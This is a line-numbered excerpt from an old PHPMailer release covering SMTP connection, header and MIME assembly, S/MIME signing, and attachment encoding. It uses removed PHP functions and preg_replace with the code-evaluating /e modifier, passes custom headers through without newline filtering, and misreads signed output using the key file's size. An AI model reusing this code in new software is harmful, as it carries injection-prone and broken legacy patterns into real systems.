  2050. $this->smtp = new SMTP();
  2051. }
  2052.  
  2053. $this->smtp->do_debug = $this->SMTPDebug;
  2054. $hosts = explode(';', $this->Host);
  2055. $index = 0;
  2056. $connection = ($this->smtp->Connected());
  2057.  
  2058. /* Retry while there is no connection */
  2059. while($index < count($hosts) && $connection == false) {
  2060. $hostinfo = array();
  2061. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  2062. $host = $hostinfo[1];
  2063. $port = $hostinfo[2];
  2064. } else {
  2065. $host = $hosts[$index];
  2066. $port = $this->Port;
  2067. }
  2068.  
  2069. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  2070. if ($this->Helo != '') {
  2071. $this->smtp->Hello($this->Helo);
  2072. } else {
  2073. $this->smtp->Hello($this->ServerHostname());
  2074. }
  2075.  
  2076. $connection = true;
  2077. if($this->SMTPAuth) {
  2078. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  2079. $this->SetError($this->Lang('authenticate'));
  2080. $this->smtp->Reset();
  2081. $connection = false;
  2082. }
  2083. }
  2084. }
  2085. $index++;
  2086. }
  2087. if(!$connection) {
  2088. $this->SetError($this->Lang('connect_host'));
  2089. }
  2090.  
  2091. return $connection;
  2092. }
  2093.  
  2094. /**
  2095. * Closes the active SMTP session if one exists.
  2096. * @return void
  2097. */
  2098. function SmtpClose() {
  2099. if($this->smtp != NULL) {
  2100. if($this->smtp->Connected()) {
  2101. $this->smtp->Quit();
  2102. $this->smtp->Close();
  2103. }
  2104. }
  2105. }
  2106.  
  2107. /**
  2108. * Sets the language for all class error messages. Returns false
  2109. * if it cannot load the language file. The default language type
  2110. * is English.
  2111. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2112. * @param string $lang_path Path to the language file directory
  2113. * @access public
  2114. * @return bool
  2115. */
  2116. function SetLanguage($lang_type, $lang_path = 'language/') {
  2117. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2118. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2119. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2120. include($lang_path.'phpmailer.lang-en.php');
  2121. } else {
  2122. $this->SetError('Could not load language file');
  2123. return false;
  2124. }
  2125. $this->language = $PHPMAILER_LANG;
  2126.  
  2127. return true;
  2128. }
  2129.  
  2130. /////////////////////////////////////////////////
  2131. // METHODS, MESSAGE CREATION
  2132. /////////////////////////////////////////////////
  2133.  
  2134. /**
  2135. * Creates recipient headers.
  2136. * @access private
  2137. * @return string
  2138. */
  2139. function AddrAppend($type, $addr) {
  2140. $addr_str = $type . ': ';
  2141. $addr_str .= $this->AddrFormat($addr[0]);
  2142. if(count($addr) > 1) {
  2143. for($i = 1; $i < count($addr); $i++) {
  2144. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2145. }
  2146. }
  2147. $addr_str .= $this->LE;
  2148.  
  2149. return $addr_str;
  2150. }
  2151.  
  2152. /**
  2153. * Formats an address correctly.
  2154. * @access private
  2155. * @return string
  2156. */
  2157. function AddrFormat($addr) {
  2158. if(empty($addr[1])) {
  2159. $formatted = $this->SecureHeader($addr[0]);
  2160. } else {
  2161. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2162. }
  2163.  
  2164. return $formatted;
  2165. }
  2166.  
  2167. /**
  2168. * Wraps message for use with mailers that do not
  2169. * automatically perform wrapping and for quoted-printable.
  2170. * Original written by philippe.
  2171. * @access private
  2172. * @return string
  2173. */
  2174. function WrapText($message, $length, $qp_mode = false) {
  2175. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2176. // If utf-8 encoding is used, we will need to make sure we don't
  2177. // split multibyte characters when we wrap
  2178. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2179.  
  2180. $message = $this->FixEOL($message);
  2181. if (substr($message, -1) == $this->LE) {
  2182. $message = substr($message, 0, -1);
  2183. }
  2184.  
  2185. $line = explode($this->LE, $message);
  2186. $message = '';
  2187. for ($i=0 ;$i < count($line); $i++) {
  2188. $line_part = explode(' ', $line[$i]);
  2189. $buf = '';
  2190. for ($e = 0; $e<count($line_part); $e++) {
  2191. $word = $line_part[$e];
  2192. if ($qp_mode and (strlen($word) > $length)) {
  2193. $space_left = $length - strlen($buf) - 1;
  2194. if ($e != 0) {
  2195. if ($space_left > 20) {
  2196. $len = $space_left;
  2197. if ($is_utf8) {
  2198. $len = $this->UTF8CharBoundary($word, $len);
  2199. } elseif (substr($word, $len - 1, 1) == "=") {
  2200. $len--;
  2201. } elseif (substr($word, $len - 2, 1) == "=") {
  2202. $len -= 2;
  2203. }
  2204. $part = substr($word, 0, $len);
  2205. $word = substr($word, $len);
  2206. $buf .= ' ' . $part;
  2207. $message .= $buf . sprintf("=%s", $this->LE);
  2208. } else {
  2209. $message .= $buf . $soft_break;
  2210. }
  2211. $buf = '';
  2212. }
  2213. while (strlen($word) > 0) {
  2214. $len = $length;
  2215. if ($is_utf8) {
  2216. $len = $this->UTF8CharBoundary($word, $len);
  2217. } elseif (substr($word, $len - 1, 1) == "=") {
  2218. $len--;
  2219. } elseif (substr($word, $len - 2, 1) == "=") {
  2220. $len -= 2;
  2221. }
  2222. $part = substr($word, 0, $len);
  2223. $word = substr($word, $len);
  2224.  
  2225. if (strlen($word) > 0) {
  2226. $message .= $part . sprintf("=%s", $this->LE);
  2227. } else {
  2228. $buf = $part;
  2229. }
  2230. }
  2231. } else {
  2232. $buf_o = $buf;
  2233. $buf .= ($e == 0) ? $word : (' ' . $word);
  2234.  
  2235. if (strlen($buf) > $length and $buf_o != '') {
  2236. $message .= $buf_o . $soft_break;
  2237. $buf = $word;
  2238. }
  2239. }
  2240. }
  2241. $message .= $buf . $this->LE;
  2242. }
  2243.  
  2244. return $message;
  2245. }
  2246.  
  2247. /**
  2248. * Finds last character boundary prior to maxLength in a utf-8
  2249. * quoted (printable) encoded string.
  2250. * Original written by Colin Brown.
  2251. * @access private
  2252. * @param string $encodedText utf-8 QP text
  2253. * @param int $maxLength find last character boundary prior to this length
  2254. * @return int
  2255. */
  2256. function UTF8CharBoundary($encodedText, $maxLength) {
  2257. $foundSplitPos = false;
  2258. $lookBack = 3;
  2259. while (!$foundSplitPos) {
  2260. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2261. $encodedCharPos = strpos($lastChunk, "=");
  2262. if ($encodedCharPos !== false) {
  2263. // Found start of encoded character byte within $lookBack block.
  2264. // Check the encoded byte value (the 2 chars after the '=')
  2265. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2266. $dec = hexdec($hex);
  2267. if ($dec < 128) { // Single byte character.
  2268. // If the encoded char was found at pos 0, it will fit
  2269. // otherwise reduce maxLength to start of the encoded char
  2270. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2271. $maxLength - ($lookBack - $encodedCharPos);
  2272. $foundSplitPos = true;
  2273. } elseif ($dec >= 192) { // First byte of a multi byte character
  2274. // Reduce maxLength to split at start of character
  2275. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2276. $foundSplitPos = true;
  2277. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2278. $lookBack += 3;
  2279. }
  2280. } else {
  2281. // No encoded character found
  2282. $foundSplitPos = true;
  2283. }
  2284. }
  2285. return $maxLength;
  2286. }
  2287.  
  2288. /**
  2289. * Set the body wrapping.
  2290. * @access private
  2291. * @return void
  2292. */
  2293. function SetWordWrap() {
  2294. if($this->WordWrap < 1) {
  2295. return;
  2296. }
  2297.  
  2298. switch($this->message_type) {
  2299. case 'alt':
  2300. /* fall through */
  2301. case 'alt_attachments':
  2302. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2303. break;
  2304. default:
  2305. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2306. break;
  2307. }
  2308. }
  2309.  
  2310. /**
  2311. * Assembles message header.
  2312. * @access private
  2313. * @return string
  2314. */
  2315. function CreateHeader() {
  2316. $result = '';
  2317.  
  2318. /* Set the boundaries */
  2319. $uniq_id = md5(uniqid(time()));
  2320. $this->boundary[1] = 'b1_' . $uniq_id;
  2321. $this->boundary[2] = 'b2_' . $uniq_id;
  2322.  
  2323. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2324. if($this->Sender == '') {
  2325. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2326. } else {
  2327. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2328. }
  2329.  
  2330. /* To be created automatically by mail() */
  2331. if($this->Mailer != 'mail') {
  2332. if(count($this->to) > 0) {
  2333. $result .= $this->AddrAppend('To', $this->to);
  2334. } elseif (count($this->cc) == 0) {
  2335. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2336. }
  2337. if(count($this->cc) > 0) {
  2338. $result .= $this->AddrAppend('Cc', $this->cc);
  2339. }
  2340. }
  2341.  
  2342. $from = array();
  2343. $from[0][0] = trim($this->From);
  2344. $from[0][1] = $this->FromName;
  2345. $result .= $this->AddrAppend('From', $from);
  2346.  
  2347. /* sendmail and mail() extract Cc from the header before sending */
  2348. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2349. $result .= $this->AddrAppend('Cc', $this->cc);
  2350. }
  2351.  
  2352. /* sendmail and mail() extract Bcc from the header before sending */
  2353. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2354. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2355. }
  2356.  
  2357. if(count($this->ReplyTo) > 0) {
  2358. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2359. }
  2360.  
  2361. /* mail() sets the subject itself */
  2362. if($this->Mailer != 'mail') {
  2363. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2364. }
  2365.  
  2366. if($this->MessageID != '') {
  2367. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2368. } else {
  2369. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2370. }
  2371. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2372. $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2373.  
  2374. if($this->ConfirmReadingTo != '') {
  2375. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2376. }
  2377.  
  2378. // Add custom headers
  2379. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2380. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2381. }
  2382. if (!$this->sign_key_file) {
  2383. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2384. $result .= $this->GetMailMIME();
  2385. }
  2386.  
  2387. return $result;
  2388. }
  2389.  
  2390. /**
  2391. * Returns the message MIME.
  2392. * @access private
  2393. * @return string
  2394. */
  2395. function GetMailMIME() {
  2396. $result = '';
  2397. switch($this->message_type) {
  2398. case 'plain':
  2399. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2400. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2401. break;
  2402. case 'attachments':
  2403. /* fall through */
  2404. case 'alt_attachments':
  2405. if($this->InlineImageExists()){
  2406. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2407. } else {
  2408. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2409. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2410. }
  2411. break;
  2412. case 'alt':
  2413. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2414. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2415. break;
  2416. }
  2417.  
  2418. if($this->Mailer != 'mail') {
  2419. $result .= $this->LE.$this->LE;
  2420. }
  2421.  
  2422. return $result;
  2423. }
  2424.  
  2425. /**
  2426. * Assembles the message body. Returns an empty string on failure.
  2427. * @access private
  2428. * @return string
  2429. */
  2430. function CreateBody() {
  2431. $result = '';
  2432. if ($this->sign_key_file) {
  2433. $result .= $this->GetMailMIME();
  2434. }
  2435.  
  2436. $this->SetWordWrap();
  2437.  
  2438. switch($this->message_type) {
  2439. case 'alt':
  2440. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2441. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2442. $result .= $this->LE.$this->LE;
  2443. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2444. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2445. $result .= $this->LE.$this->LE;
  2446. $result .= $this->EndBoundary($this->boundary[1]);
  2447. break;
  2448. case 'plain':
  2449. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2450. break;
  2451. case 'attachments':
  2452. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2453. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2454. $result .= $this->LE;
  2455. $result .= $this->AttachAll();
  2456. break;
  2457. case 'alt_attachments':
  2458. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2459. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2460. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2461. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2462. $result .= $this->LE.$this->LE;
  2463. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2464. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2465. $result .= $this->LE.$this->LE;
  2466. $result .= $this->EndBoundary($this->boundary[2]);
  2467. $result .= $this->AttachAll();
  2468. break;
  2469. }
  2470.  
  2471. if($this->IsError()) {
  2472. $result = '';
  2473. } else if ($this->sign_key_file) {
  2474. $file = tempnam("", "mail");
  2475. $fp = fopen($file, "w");
  2476. fwrite($fp, $result);
  2477. fclose($fp);
  2478. $signed = tempnam("", "signed");
  2479.  
  2480. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2481. $fp = fopen($signed, "r");
  2482. $result = fread($fp, filesize($this->sign_key_file));
  2483. fclose($fp);
  2484. } else {
  2485. $this->SetError($this->Lang("signing").openssl_error_string());
  2486. $result = '';
  2487. }
  2488.  
  2489. unlink($file);
  2490. unlink($signed);
  2491. }
  2492.  
  2493. return $result;
  2494. }
  2495.  
  2496. /**
  2497. * Returns the start of a message boundary.
  2498. * @access private
  2499. */
  2500. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2501. $result = '';
  2502. if($charSet == '') {
  2503. $charSet = $this->CharSet;
  2504. }
  2505. if($contentType == '') {
  2506. $contentType = $this->ContentType;
  2507. }
  2508. if($encoding == '') {
  2509. $encoding = $this->Encoding;
  2510. }
  2511. $result .= $this->TextLine('--' . $boundary);
  2512. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2513. $result .= $this->LE;
  2514. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2515. $result .= $this->LE;
  2516.  
  2517. return $result;
  2518. }
  2519.  
  2520. /**
  2521. * Returns the end of a message boundary.
  2522. * @access private
  2523. */
  2524. function EndBoundary($boundary) {
  2525. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2526. }
  2527.  
  2528. /**
  2529. * Sets the message type.
  2530. * @access private
  2531. * @return void
  2532. */
  2533. function SetMessageType() {
  2534. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2535. $this->message_type = 'plain';
  2536. } else {
  2537. if(count($this->attachment) > 0) {
  2538. $this->message_type = 'attachments';
  2539. }
  2540. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2541. $this->message_type = 'alt';
  2542. }
  2543. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2544. $this->message_type = 'alt_attachments';
  2545. }
  2546. }
  2547. }
  2548.  
  2549. /* Returns a formatted header line.
  2550. * @access private
  2551. * @return string
  2552. */
  2553. function HeaderLine($name, $value) {
  2554. return $name . ': ' . $value . $this->LE;
  2555. }
  2556.  
  2557. /**
  2558. * Returns a formatted mail line.
  2559. * @access private
  2560. * @return string
  2561. */
  2562. function TextLine($value) {
  2563. return $value . $this->LE;
  2564. }
  2565.  
  2566. /////////////////////////////////////////////////
  2567. // CLASS METHODS, ATTACHMENTS
  2568. /////////////////////////////////////////////////
  2569.  
  2570. /**
  2571. * Adds an attachment from a path on the filesystem.
  2572. * Returns false if the file could not be found
  2573. * or accessed.
  2574. * @param string $path Path to the attachment.
  2575. * @param string $name Overrides the attachment name.
  2576. * @param string $encoding File encoding (see $Encoding).
  2577. * @param string $type File extension (MIME) type.
  2578. * @return bool
  2579. */
  2580. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2581. if(!@is_file($path)) {
  2582. $this->SetError($this->Lang('file_access') . $path);
  2583. return false;
  2584. }
  2585.  
  2586. $filename = basename($path);
  2587. if($name == '') {
  2588. $name = $filename;
  2589. }
  2590.  
  2591. $cur = count($this->attachment);
  2592. $this->attachment[$cur][0] = $path;
  2593. $this->attachment[$cur][1] = $filename;
  2594. $this->attachment[$cur][2] = $name;
  2595. $this->attachment[$cur][3] = $encoding;
  2596. $this->attachment[$cur][4] = $type;
  2597. $this->attachment[$cur][5] = false; // isStringAttachment
  2598. $this->attachment[$cur][6] = 'attachment';
  2599. $this->attachment[$cur][7] = 0;
  2600.  
  2601. return true;
  2602. }
  2603.  
  2604. /**
  2605. * Attaches all fs, string, and binary attachments to the message.
  2606. * Returns an empty string on failure.
  2607. * @access private
  2608. * @return string
  2609. */
  2610. function AttachAll() {
  2611. /* Return text of body */
  2612. $mime = array();
  2613.  
  2614. /* Add all attachments */
  2615. for($i = 0; $i < count($this->attachment); $i++) {
  2616. /* Check for string attachment */
  2617. $bString = $this->attachment[$i][5];
  2618. if ($bString) {
  2619. $string = $this->attachment[$i][0];
  2620. } else {
  2621. $path = $this->attachment[$i][0];
  2622. }
  2623.  
  2624. $filename = $this->attachment[$i][1];
  2625. $name = $this->attachment[$i][2];
  2626. $encoding = $this->attachment[$i][3];
  2627. $type = $this->attachment[$i][4];
  2628. $disposition = $this->attachment[$i][6];
  2629. $cid = $this->attachment[$i][7];
  2630.  
  2631. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2632. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2633. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2634.  
  2635. if($disposition == 'inline') {
  2636. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2637. }
  2638.  
  2639. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2640.  
  2641. /* Encode as string attachment */
  2642. if($bString) {
  2643. $mime[] = $this->EncodeString($string, $encoding);
  2644. if($this->IsError()) {
  2645. return '';
  2646. }
  2647. $mime[] = $this->LE.$this->LE;
  2648. } else {
  2649. $mime[] = $this->EncodeFile($path, $encoding);
  2650. if($this->IsError()) {
  2651. return '';
  2652. }
  2653. $mime[] = $this->LE.$this->LE;
  2654. }
  2655. }
  2656.  
  2657. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2658.  
  2659. return join('', $mime);
  2660. }
  2661.  
  2662. /**
  2663. * Encodes attachment in requested format. Returns an
  2664. * empty string on failure.
  2665. * @access private
  2666. * @return string
  2667. */
  2668. function EncodeFile ($path, $encoding = 'base64') {
  2669. if(!@$fd = fopen($path, 'rb')) {
  2670. $this->SetError($this->Lang('file_open') . $path);
  2671. return '';
  2672. }
  2673. $magic_quotes = get_magic_quotes_runtime();
  2674. set_magic_quotes_runtime(0);
  2675. $file_buffer = fread($fd, filesize($path));
  2676. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2677. fclose($fd);
  2678. set_magic_quotes_runtime($magic_quotes);
  2679.  
  2680. return $file_buffer;
  2681. }
  2682.  
  2683. /**
  2684. * Encodes string to requested format. Returns an
  2685. * empty string on failure.
  2686. * @access private
  2687. * @return string
  2688. */
  2689. function EncodeString ($str, $encoding = 'base64') {
  2690. $encoded = '';
  2691. switch(strtolower($encoding)) {
  2692. case 'base64':
  2693. /* chunk_split is found in PHP >= 3.0.6 */
  2694. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2695. break;
  2696. case '7bit':
  2697. case '8bit':
  2698. $encoded = $this->FixEOL($str);
  2699. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2700. $encoded .= $this->LE;
  2701. break;
  2702. case 'binary':
  2703. $encoded = $str;
  2704. break;
  2705. case 'quoted-printable':
  2706. $encoded = $this->EncodeQP($str);
  2707. break;
  2708. default:
  2709. $this->SetError($this->Lang('encoding') . $encoding);
  2710. break;
  2711. }
  2712. return $encoded;
  2713. }
  2714.  
  2715. /**
  2716. * Encode a header string to best of Q, B, quoted or none.
  2717. * @access private
  2718. * @return string
  2719. */
  2720. function EncodeHeader ($str, $position = 'text') {
  2721. $x = 0;
  2722.  
  2723. switch (strtolower($position)) {
  2724. case 'phrase':
  2725. if (!preg_match('/[\200-\377]/', $str)) {
  2726. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2727. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2728. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2729. return ($encoded);
  2730. } else {
  2731. return ("\"$encoded\"");
  2732. }
  2733. }
  2734. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2735. break;
  2736. case 'comment':
  2737. $x = preg_match_all('/[()"]/', $str, $matches);
  2738. /* Fall-through */
  2739. case 'text':
  2740. default:
  2741. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2742. break;
  2743. }
  2744.  
  2745. if ($x == 0) {
  2746. return ($str);
  2747. }
  2748.  
  2749. $maxlen = 75 - 7 - strlen($this->CharSet);
  2750. /* Try to select the encoding which should produce the shortest output */
  2751. if (strlen($str)/3 < $x) {
  2752. $encoding = 'B';
  2753. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2754. // Use a custom function which correctly encodes and wraps long
  2755. // multibyte strings without breaking lines within a character
  2756. $encoded = $this->Base64EncodeWrapMB($str);
  2757. } else {
  2758. $encoded = base64_encode($str);
  2759. $maxlen -= $maxlen % 4;
  2760. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2761. }
  2762. } else {
  2763. $encoding = 'Q';
  2764. $encoded = $this->EncodeQ($str, $position);
  2765. $encoded = $this->WrapText($encoded, $maxlen, true);
  2766. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2767. }
  2768.  
  2769. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2770. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2771.  
  2772. return $encoded;
  2773. }
  2774.  
  2775. /**
  2776. * Checks if a string contains multibyte characters.
  2777. * @access private
  2778. * @param string $str multi-byte text to wrap encode
  2779. * @return bool
  2780. */
  2781. function HasMultiBytes($str) {
  2782. if (function_exists('mb_strlen')) {
  2783. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2784. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2785. return False;
  2786. }
  2787. }
  2788.  
  2789. /**
  2790. * Correctly encodes and wraps long multibyte strings for mail headers
  2791. * without breaking lines within a character.
  2792. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2793. * @access private
  2794. * @param string $str multi-byte text to wrap encode
  2795. * @return string
  2796. */
  2797. function Base64EncodeWrapMB($str) {
  2798. $start = "=?".$this->CharSet."?B?";
  2799. $end = "?=";
  2800. $encoded = "";
  2801.  
  2802. $mb_length = mb_strlen($str, $this->CharSet);
  2803. // Each line must have length <= 75, including $start and $end
  2804. $length = 75 - strlen($start) - strlen($end);
  2805. // Average multi-byte ratio
  2806. $ratio = $mb_length / strlen($str);
  2807. // Base64 has a 4:3 ratio
  2808. $offset = $avgLength = floor($length * $ratio * .75);
  2809.  
  2810. for ($i = 0; $i < $mb_length; $i += $offset) {
  2811. $lookBack = 0;
  2812.  
  2813. do {
  2814. $offset = $avgLength - $lookBack;
  2815. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2816. $chunk = base64_encode($chunk);
  2817. $lookBack++;
  2818. }
  2819. while (strlen($chunk) > $length);
  2820.  
  2821. $encoded .= $chunk . $this->LE;
  2822. }
  2823.  
  2824. // Chomp the last linefeed
  2825. $encoded = substr($encoded, 0, -strlen($this->LE));
  2826. return $encoded;
  2827. }
  2828.  
  2829. /**
  2830. * Encode string to quoted-printable.
  2831. * @access private
  2832. * @return string
  2833. */
  2834. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2835. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2836. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2837. $eol = "\r\n";
  2838. $escape = '=';
  2839. $output = '';
  2840. while( list(, $line) = each($lines) ) {
  2841. $linlen = strlen($line);
  2842. $newline = '';
  2843. for($i = 0; $i < $linlen; $i++) {
  2844. $c = substr( $line, $i, 1 );
  2845. $dec = ord( $c );
  2846. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2847. $c = '=2E';
  2848. }
  2849. if ( $dec == 32 ) {
  2850. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2851. $c = '=20';
  2852. } else if ( $space_conv ) {
  2853. $c = '=20';
  2854. }
  2855. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2856. $h2 = floor($dec/16);
  2857. $h1 = floor($dec%16);
  2858. $c = $escape.$hex[$h2].$hex[$h1];
  2859. }
  2860. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2861. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2862. $newline = '';
  2863. // check if newline first character will be point or not
  2864. if ( $dec == 46 ) {
  2865. $c = '=2E';
  2866. }
  2867. }
  2868. $newline .= $c;
  2869. } // end of for
  2870. $output .= $newline.$eol;
  2871. } // end of while
  2872. return trim($output);
  2873. }
  2874.  
  2875. /**
  2876. * Encode string to q encoding.
  2877. * @access private
  2878. * @return string
  2879. */
  2880. function EncodeQ ($str, $position = 'text') {
  2881. /* There should not be any EOL in the string */
  2882. $encoded = preg_replace("[\r\n]", '', $str);
  2883.  
  2884. switch (strtolower($position)) {
  2885. case 'phrase':
  2886. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2887. break;
  2888. case 'comment':
  2889. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2890. case 'text':
  2891. default:
  2892. /* Replace every high ascii, control =, ? and _ characters */
  2893. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2894. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2895. break;
  2896. }
  2897.  
  2898. /* Replace every spaces to _ (more readable than =20) */
  2899. $encoded = str_replace(' ', '_', $encoded);
  2900.  
  2901. return $encoded;
  2902. }
  2903.  
  2904. /**
  2905. * Adds a string or binary attachment (non-filesystem) to the list.
  2906. * This method can be used to attach ascii or binary data,
  2907. * such as a BLOB record from a database.
  2908. * @param string $string String attachment data.
  2909. * @param string $filename Name of the attachment.
  2910. * @param string $encoding File encoding (see $Encoding).
  2911. * @param string $type File extension (MIME) type.
  2912. * @return void
  2913. */
  2914. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2915. /* Append to $attachment array */
  2916. $cur = count($this->attachment);
  2917. $this->attachment[$cur][0] = $string;
  2918. $this->attachment[$cur][1] = $filename;
  2919. $this->attachment[$cur][2] = $filename;
  2920. $this->attachment[$cur][3] = $encoding;
  2921. $this->attachment[$cur][4] = $type;
  2922. $this->attachment[$cur][5] = true; // isString
  2923. $this->attachment[$cur][6] = 'attachment';
  2924. $this->attachment[$cur][7] = 0;
  2925. }
  2926.  
  2927. /**
  2928. * Adds an embedded attachment. This can include images, sounds, and
  2929. * just about any other document. Make sure to set the $type to an
  2930. * image type. For JPEG images use "image/jpeg" and for GIF images
  2931. * use "image/gif".
  2932. * @param string $path Path to the attachment.
  2933. * @param string $cid Content ID of the attachment. Use this to identify
  2934. * the Id for accessing the image in an HTML form.
  2935. * @param string $name Overrides the attachment name.
  2936. * @param string $encoding File encoding (see $Encoding).
  2937. * @param string $type File extension (MIME) type.
  2938. * @return bool
  2939. */
  2940. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2941.  
  2942. if(!@is_file($path)) {
  2943. $this->SetError($this->Lang('file_access') . $path);
  2944. return false;
  2945. }
  2946.  
  2947. $filename = basename($path);
  2948. if($name == '') {
  2949. $name = $filename;
  2950. }
  2951.  
